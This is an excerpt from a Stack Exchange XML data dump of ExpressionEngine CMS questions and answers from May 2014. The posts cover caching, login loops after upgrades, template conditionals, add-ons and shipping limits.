  <row Id="21617" PostTypeId="1" CreationDate="2014-05-02T08:36:31.150" Score="1" ViewCount="152" Body="&lt;p&gt;Is anyone experiencing issues with CE Cache lately?  Several sites with CE Cache installed and using static caching have suddenly shown white pages with the {exp:ce_cache:stat:ic} on the page.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's the same on all sites, the page is blank, clearing the cache brings the page back, at which point it's cached again and refreshing the page brings the white page again.  These sites were working correctly untill recently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's happening on sites with different versions of EE and CE Cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Removing the {exp:ce_cache:stat:ic} tag fixes the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The versions of CE Cache in use on these sites are: 1.7.2 and 1.10.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, &lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2014-05-02T08:36:31.150" Title="CE Cache - blank pages" Tags="|cache|ce-cache|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21618" PostTypeId="1" CreationDate="2014-05-02T10:37:43.707" Score="0" ViewCount="76" Body="&lt;p&gt;I have a site with an &quot;Events&quot; page.  Naturally, events come and go, and you don't want to see events from 2 years ago showing up on your site, so I have the admin person use the expiration date feature to have it no longer show on the website after the event has happened.  Recently I went onto the google webmaster tools for the site and saw that there were 404 crawl errors for the events that had expired.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a problem, and if so, how do I correct it?&lt;/p&gt;&#xA;" OwnerUserId="678" LastActivityDate="2014-07-02T12:28:46.023" Title="expiration date and google crawl errors" Tags="|channel-entries|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21619" PostTypeId="1" AcceptedAnswerId="21635" CreationDate="2014-05-02T12:30:12.003" Score="1" ViewCount="70" Body="&lt;p&gt;I'de like to show only entries that have gridfield:total_rows &gt; 0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this?&lt;/p&gt;&#xA;" OwnerUserId="1723" LastActivityDate="2014-05-03T16:57:49.073" Title="Show entries based on Grid field" Tags="|channel-entries|grid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21620" PostTypeId="2" ParentId="21598" CreationDate="2014-05-02T12:35:03.910" Score="2" Body="&lt;p&gt;The simple answer would be to go through the add-on code and replace any ampersands with html entities but I'm guessing you've already tried that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think there will be a quick way to do it other than doing that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would say that you really don't need to worry about it. Validation is a guide, not a requirement. Especially at this level. Are you experiencing problems with the forms? If they work, don't worry about it. They will continue to do so until we're all old and grey.&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-05-02T15:40:53.437" LastActivityDate="2014-05-02T15:40:53.437" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21621" PostTypeId="1" CreationDate="2014-05-02T13:33:54.603" Score="1" ViewCount="76" Body="&lt;p&gt;I'm using the FedEx extension for shipping methods/rates. However, when the cart exceeds 4 items, the shipping method options are empty. There is no {error:shipping_method} displayed when this occurs. Are there limits on the number of items or weight that the FedEx extension will calculate? Or do these limitations possibly exist in the FedEx API?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the FedEx Rate API docs there is an error described as &quot;660: Weight exceeds limit allowed&quot; which leads me to believe that this may be caused by limitations within the API itself.&lt;/p&gt;&#xA;" OwnerUserId="2390" LastEditorUserId="2390" LastEditDate="2014-05-02T13:39:43.747" LastActivityDate="2014-05-02T15:20:11.423" Title="Exp:resso / FedEx: Shipping methods empty when order is over 4 items" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21622" PostTypeId="2" ParentId="21465" CreationDate="2014-05-02T14:16:14.647" Score="1" Body="&lt;p&gt;You could use Google Maps for EE to do this, but you would need a .csv to do it. It comes with a geocoder/import utility that is really robust and will work for almost all data files. I know it's not for MX Google Maps, but this could save you quite a bit of time by not having to roll out a custom solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://objectivehtml.com/google-maps&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/google-maps&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2014-05-02T14:16:14.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21623" PostTypeId="2" ParentId="21618" CreationDate="2014-05-02T15:08:09.683" Score="1" Body="&lt;p&gt;If I understand your situation this is the expected (and desired) result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You don't want old event entries showing up on the site so you set them to expire. When an expired entry's page is requested the default behavior is a 404 error (page not found). All Google Webmaster tools is confirming here is that it tried to crawl those expired pages and could not find them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you still want individual expired entries to be able to load, then in your &lt;code&gt;channel:entries&lt;/code&gt; tag in your entry detail template you will need to set the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#show-expired&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;show_expired&lt;/code&gt;&lt;/a&gt; parameter to &quot;yes.&quot;&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2014-05-02T15:52:13.117" LastActivityDate="2014-05-02T15:52:13.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21624" PostTypeId="2" ParentId="20870" CreationDate="2014-05-02T15:16:37.723" Score="2" Body="&lt;p&gt;I have written an add-on that helps filter channel entries by their Playa relationships. If the solution above doesn't quite do it for you, check out &lt;a href=&quot;http://devot-ee.com/add-ons/paternitee&quot; rel=&quot;nofollow&quot;&gt;PaternitEE on Devot:ee&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-05-02T15:16:37.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21625" PostTypeId="2" ParentId="21621" CreationDate="2014-05-02T15:20:11.423" Score="1" Body="&lt;p&gt;Fedex as a whole has a weight limit for items they deliver, so I imagine the rate API reflects those limits. A quick Google search says that the limit is 150lbs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is your cart weight over 150?&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-05-02T15:20:11.423" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21626" PostTypeId="2" ParentId="21558" CreationDate="2014-05-02T15:23:10.687" Score="1" Body="&lt;p&gt;I know of an add-on that's in development that may be helpful for you. Check out Michael Rog's &lt;a href=&quot;http://devot-ee.com/add-ons/store-expiring-carts&quot; rel=&quot;nofollow&quot;&gt;Expiring Carts&lt;/a&gt;. Looks like he's got a private beta going on now.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2014-05-02T15:23:10.687" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21627" PostTypeId="1" CreationDate="2014-05-02T15:26:31.807" Score="1" ViewCount="102" Body="&lt;p&gt;We just upgraded to EE 2.8.1 and both my client and I are having an issue where after our cp session times out we get the idle session modal and then we enter our password, click login and a browser dialog box comes up saying &quot;undefined&quot; and we can't login.  This is happing on chrome, safari and ff.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can refresh to get back to the main login screen but it's kind of annoying.  Has anyone else seen this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jim&lt;/p&gt;&#xA;" OwnerUserId="1871" LastActivityDate="2014-12-07T04:30:34.230" Title="Idle session &quot;undefined&quot; problem" Tags="|control-panel|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21628" PostTypeId="1" CreationDate="2014-05-02T17:41:18.367" Score="3" ViewCount="139" Body="&lt;p&gt;I had over 40 000 spam member accoutns created and need to delete them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tries adding &amp;amp;group_id=5&amp;amp;perpage=1000 to my view all members page which works fine, but as soon as I click a column to sort them by ID or last visit  it defaults back to 20 members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I easily display and delete 40000 membrs accounts?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is NOT using EE1.6 but EE2, so NOT a duplicate question. PLUS&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot just delete the entire member group.  The spam member accounts are spread out through the group.  I will say again if I display 1000 per page and try and edit the order (ie: sort by last visit or join date to help group the spam accounts onto one page for easy deletion, it defaults back to 20 members per page)&lt;/p&gt;&#xA;" OwnerUserId="451" LastEditorUserId="159" LastEditDate="2014-05-06T08:01:11.737" LastActivityDate="2014-05-22T08:48:53.693" Title="Delete thousands of members from an EE2 site" Tags="|members|spam|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21629" PostTypeId="1" AcceptedAnswerId="21630" CreationDate="2014-05-02T17:49:01.403" Score="2" ViewCount="501" Body="&lt;p&gt;I recently upgraded a local EE setup to 2.8.1 and now I cannot login to the CP. The page just refreshes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure that I've searched and read everything on EESE to find a fix but I'm still stuck. Here's what I've tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Clearing cache&lt;/li&gt;&#xA;&lt;li&gt;Clearing cookies&lt;/li&gt;&#xA;&lt;li&gt;Restarting Chrome&lt;/li&gt;&#xA;&lt;li&gt;Also have used Incognito mode in Chrome&lt;/li&gt;&#xA;&lt;li&gt;Deleting sessions in the DB (exp_sessions table)&lt;/li&gt;&#xA;&lt;li&gt;Changing session types between cookies, sessions, and cookies + sessions&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm using Focus Lab's Master Config and have this in my config.master.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    // Session Preferences&#xA;$env_config['admin_session_type']       = 'c'; // cs|c|s&#xA;$env_config['user_session_type']        = 'c'; // cs|c|s&#xA;$env_config['cp_session_ttl']           = 86400;&#xA;&#xA;// Cookie Settings&#xA;$env_config['cookie_domain']            = '.' . preg_replace('#^www\.(.+\.)#i', '$1', $_SERVER['HTTP_HOST']);&#xA;$env_config['cookie_path']              = '';&#xA;$env_config['cookie_prefix']            = ENV . '_'; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add-ons installed (in case it matters):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Draggable&lt;/li&gt;&#xA;&lt;li&gt;Lovely Sorted Addons&lt;/li&gt;&#xA;&lt;li&gt;Show Me My Assets&lt;/li&gt;&#xA;&lt;li&gt;Single Entry&lt;/li&gt;&#xA;&lt;li&gt;Snippet Sync&lt;/li&gt;&#xA;&lt;li&gt;Stash&lt;/li&gt;&#xA;&lt;li&gt;Superfish Admin&lt;/li&gt;&#xA;&lt;li&gt;Custom System Messages&lt;/li&gt;&#xA;&lt;li&gt;VZ Bad Behavior&lt;/li&gt;&#xA;&lt;li&gt;VZ URL&lt;/li&gt;&#xA;&lt;li&gt;Zoo Flexible Admin&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;[EDIT] I've also tried in Firefox and Safari; same thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, this is on my local setup and does not live anywhere else on the Interwebz. Everything was working before the upgrade to 2.8.1 (was previously on 2.7.2).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help!&lt;/p&gt;&#xA;" OwnerUserId="132" LastEditorUserId="132" LastEditDate="2014-05-02T18:28:19.277" LastActivityDate="2014-11-18T14:04:11.227" Title="v2.8.1 CP login loop issue" Tags="|control-panel|login|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21630" PostTypeId="2" ParentId="21629" CreationDate="2014-05-02T18:14:57.080" Score="2" Body="&lt;p&gt;Try disabling extensions and turn on debugging. Could be a PHP error getting in the way of the login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I'd try the login in a browser you don't use often to eliminate a browser cookie issue. Chrome is not exactly good about letting go of cache I find.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2014-05-02T18:14:57.080" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21631" PostTypeId="2" ParentId="21629" CreationDate="2014-05-02T18:40:12.460" Score="0" Body="&lt;p&gt;What happens if you set $env_config['cookie_domain'] = the domain for your local setup manually?&lt;/p&gt;&#xA;" OwnerDisplayName="user21" LastActivityDate="2014-05-02T18:40:12.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21632" PostTypeId="1" AcceptedAnswerId="21889" CreationDate="2014-05-02T18:53:18.787" Score="2" ViewCount="130" Body="&lt;p&gt;This is an &lt;a href=&quot;http://ellislab.com/forums/viewthread/194803/#930843&quot; rel=&quot;nofollow&quot;&gt;old issue&lt;/a&gt; that has resurfaced. I am creating entries using Profile:Edit and Relationships, that have address information and for some reason the first of the series displays all the address fields (which are set to format:none) with extra &amp;lt; p &gt; tags on each element. The second series does not add those tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;{facilities:title}&amp;lt;/strong&amp;gt;&amp;lt;br /&amp;gt;&#xA;    {facilities:facility_street_address}&amp;lt;br /&amp;gt;&#xA;    {facilities:facility_city}, {facilities:facility_state} {facilities:facility_zip}&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I go into the field properties and change it to XHTML and then change it back to none, it solves the problem for existing entries, but any new entries, revert back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to resolve this? &lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2014-05-13T00:45:07.247" Title="Custom Fields adding &lt;p&gt; Tags" Tags="|relationships|text-formatting|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="21633" PostTypeId="2" ParentId="21593" CreationDate="2014-05-02T19:34:11.790" Score="0" Body="&lt;p&gt;You could use this plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Template Exists&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/if-template-exists&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/if-template-exists&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1918" LastActivityDate="2014-05-02T19:34:11.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21635" PostTypeId="2" ParentId="21619" CreationDate="2014-05-02T21:19:02.560" Score="1" Body="&lt;p&gt;Having given this some more thought, this would be a much simpler approach...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;channel_name&quot;}&#xA;{if '{grid_field}{grid_field:count}{/grid_field}' &amp;gt; 0}&#xA;{title} - {grid_field}{grid_field:count}{/grid_field}&amp;lt;br/&amp;gt;&#xA;{/if}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1287" LastEditorUserId="1287" LastEditDate="2014-05-03T16:57:49.073" LastActivityDate="2014-05-03T16:57:49.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21636" PostTypeId="1" AcceptedAnswerId="21637" CreationDate="2014-05-02T21:46:21.700" Score="1" ViewCount="129" Body="&lt;p&gt;I'm trying to only output the heading &quot;Comments&quot; when there are actually comments for a blog post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if total_comments &amp;gt;= 1}&amp;lt;h3&amp;gt;Comments&amp;lt;/h3&amp;gt;{/if}&#xA;{exp:comment:entries sort=&quot;asc&quot; limit=&quot;20&quot;}&#xA;    &amp;lt;div class=&quot;text-block&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;{comment}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p id=&quot;author&quot;&amp;gt;By {name} on {current_time format=&quot;%F %d %Y&quot;}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;hr&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:comment:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help is much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2889" LastActivityDate="2014-05-02T22:01:27.653" Title="Output html conditional based on comments in blog post" Tags="|html|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21637" PostTypeId="2" ParentId="21636" CreationDate="2014-05-02T22:01:27.653" Score="6" Body="&lt;p&gt;Before closing the Channel Entries tag, you can use the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_entries.html#comment-total&quot;&gt;comment_total variable&lt;/a&gt;. Or if that does not work with your markup, you can use count conditionals in the Comment Entries tag (not nested inside your Channel Entries tag):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:entries sort=&quot;asc&quot; limit=&quot;20&quot;}&#xA;    {if count == 1}&amp;lt;h3&amp;gt;Comments&amp;lt;/h3&amp;gt;{/if}&#xA;    &amp;lt;div class=&quot;text-block&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;{comment}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;p id=&quot;author&quot;&amp;gt;By {name} on {current_time format=&quot;%F %d %Y&quot;}&amp;lt;/p&amp;gt;&#xA;    &amp;lt;hr&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:comment:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2014-05-02T22:01:27.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21638" PostTypeId="1" CreationDate="2014-05-02T23:19:06.050" Score="1" ViewCount="90" Body="&lt;p&gt;I've got an existing site nav with well over 100 navigation elements in it (don't ask) as EE categories. Does anyone knows of a way to import a navigation hierarchy into NavEE, either directly from a category group, or indirectly via CSV or whatever?&lt;/p&gt;&#xA;" OwnerUserId="544" LastActivityDate="2016-06-04T01:38:38.500" Title="Import to NavEE?" Tags="|categories|import|navigation|navee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21640" PostTypeId="1" CreationDate="2014-05-03T09:06:57.530" Score="0" ViewCount="81" Body="&lt;p&gt;I'm using Pixel &amp;amp; Tonics Playa which is working great however I am wondering if there is a way to display ALL related entries without the user having to manually select them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The example I have is as follows ...&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a &quot;profile&quot; channel which displays some info about the member. I want to set up the page to also display the members blog posts using Playa.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since there are multiple members I cannot hard code this in the template. I know Playa allows you select channels to display related entries but ideally I want to pull in the latest posts for each user without them having to go in and manually select their latest post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;people&quot; disable=&quot;categories|category_fields|member_data|pagination&quot;}&#xA;&#xA;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;{about}&#xA;&#xA;&amp;lt;ul&amp;gt;&#xA;    {exp:playa:children field=&quot;related_entries&quot;}&#xA;            &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;    {/exp:playa:children}&#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When editing the entry, the Playa field looks like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3hyr1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see in the above image it is a manual process. I want to know if there is a way to set it up so it pulls in the latest posts automatically?&lt;/p&gt;&#xA;" OwnerUserId="1158" LastActivityDate="2014-05-05T17:23:27.620" Title="Display ALL latest related entries using Playa" Tags="|playa|pixelandtonic|related-entries|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21641" PostTypeId="1" CreationDate="2014-05-03T12:12:33.540" Score="0" ViewCount="43" Body="&lt;p&gt;I have some code that creates my breadcrumbs and it uses this conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == &quot;media&quot; &amp;amp;&amp;amp; segment_2 != &quot;media-view&quot; &amp;amp;&amp;amp; segment_2 != &quot;&quot;}&#xA;&amp;lt;li class=&quot;breadcrumb&quot;&amp;gt;&amp;lt;p&amp;gt;&amp;lt;a href=&quot;{site_url}index.php/media&quot;&amp;gt;Media&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;li class=&quot;breadcrumb&quot;&amp;gt;&amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&amp;lt;/li&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that now there are enough media files to have multiple pages, and the pagination becomes segment_2, so it's no longer blank.  So now the page is broken because its trying to put in a bunch of junk for the breadcrumbs.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you match against pagination?  Is there a wildcard character so I could say something like the following?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == &quot;P%&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's been a while since I used EE and I can't seem to find the answer.  thanks in advance for your help.&lt;/p&gt;&#xA;" OwnerUserId="678" LastActivityDate="2014-05-13T23:07:32.083" Title="issue with pagination being picked up by conditional" Tags="|pagination|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21642" PostTypeId="1" CreationDate="2014-05-03T13:45:25.687" Score="0" ViewCount="139" Body="&lt;p&gt;Basically have a form to submit to a channel but need to show some extra fields depending on whether user clicks yes/no on a radio button. If yes then the hidden custom fields should appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone done this with Channel Form in EE 2.8.1 ? Any pointers?&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2014-05-04T08:42:18.083" Title="Channel Form - Conditionally Show Fields" Tags="|channel-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21643" PostTypeId="1" CreationDate="2014-05-03T14:00:05.783" Score="0" ViewCount="68" Body="&lt;p&gt;We're developing a form where the user submits a large form - 40 fields plus - which needs to get mailed to two different admins (one with the actual content and one with some other information) but which &lt;strong&gt;ALSO&lt;/strong&gt; needs to post to a channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of now we're looking at using Channel:Form and a Postmaster/Notification add on. But am wondering if this is actually the best way. Is there perhaps a more efficient approach using a form-submission module - one that submits the form and also posts to a channel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there such a module? Any tips on how others might approach this?&lt;/p&gt;&#xA;" OwnerUserId="2748" LastActivityDate="2014-05-03T14:22:18.203" Title="Post from Form to Channel" Tags="|channel-form|forms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21644" PostTypeId="2" ParentId="21643" CreationDate="2014-05-03T14:16:26.933" Score="1" Body="&lt;p&gt;I think your approach is a good one if you're form is inserting/updating a single channel at a time. I'm doing the same thing with channel form handling the form and &lt;a href=&quot;http://devot-ee.com/add-ons/postmaster&quot; rel=&quot;nofollow&quot;&gt;Postmaster&lt;/a&gt; for the notifications (here's an example from the &lt;a href=&quot;https://www.objectivehtml.com/postmaster/utilities/email-endpoint&quot; rel=&quot;nofollow&quot;&gt;Postmaster docs&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="1326" LastEditorUserId="1326" LastEditDate="2014-05-03T14:22:18.203" LastActivityDate="2014-05-03T14:22:18.203" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21645" PostTypeId="1" CreationDate="2014-05-03T14:59:22.503" Score="0" ViewCount="131" Body="&lt;p&gt;I'm using the EllisLab official method for removing index.php from the url as described in the docs:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/urls/remove_index.php.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However that seems to have broken access to the xml sitemaps I have created using NSM Better Meta as they are not rendering at all. I've also tried to generate sitemaps using the Sitemap module by PutYourLights On - (Ben Croker) and that also fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is for EE 2.8.1. Sites running EE 2.7.3 don't seem to have this problem&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this an issue with the htaccess code?&lt;/p&gt;&#xA;" OwnerUserId="98" LastActivityDate="2014-05-03T14:59:22.503" Title="EE 2.8.1 Remove index.php - XML sitemaps not working" Tags="|xml|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="21647" PostTypeId="2" ParentId="20933" CreationDate="2014-05-03T17:08:19.990" Score="1" Body="&lt;p&gt;I found that snagging the add_to_cart function from CT 2.4 and replacing the CT 2.5 version seems to work just fine. Haven't found any issues with this so that's my solution for now.&lt;/p&gt;&#xA;" OwnerUserId="3048" LastActivityDate="2014-05-03T17:08:19.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21648" PostTypeId="1" CreationDate="2014-05-03T17:23:19.047" Score="0" ViewCount="47" Body="&lt;p&gt;I've been trying to diagnose a problem that I started a thread here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/21607/solspace-calendar-500-error&quot;&gt;Solspace calendar 500 error&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have it working somewhat using the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal  &#xA;         {if segment_3 == ''}&#xA;          {exp:template_morsels:fetch &#xA;            name=&quot;events_calendar_cm&quot; &#xA;            segment_4=&quot;{segment_4}&quot; &#xA;            segment_5=&quot;{segment_5}&quot; &#xA;            } &#xA;         {/if}  &#xA;         {if segment_3 != &quot;&quot;}   &#xA;            {exp:template_morsels:fetch &#xA;            name=&quot;events_calendar&quot; &#xA;            segment_4=&quot;{segment_4}&quot; &#xA;            segment_5=&quot;{segment_5}&quot; &#xA;            } &#xA;&#xA;        {/if}&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Event_Calendar Morsal&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; date_range_start=&quot;{segment_5}-{segment_4}-01&quot;&#xA; date_range_end=&quot;{segment_5}-{segment_4}-last&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've also tried using different variable names like seg_4, seg_5, etc. No difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The calendar loads, however, it's only loading the first week on both cases:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://figlancaster.com/events/cal/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://figlancaster.com/events/cal/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://figlancaster.com/events/cal/month/06/2014/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://figlancaster.com/events/cal/month/06/2014/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plus, the segments don't seem to be parsing for 06/14. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?         &lt;/p&gt;&#xA;" OwnerUserId="1128" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2014-07-04T04:19:54.020" Title="Solspace Template Morsals and Calendar" Tags="|solspace|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
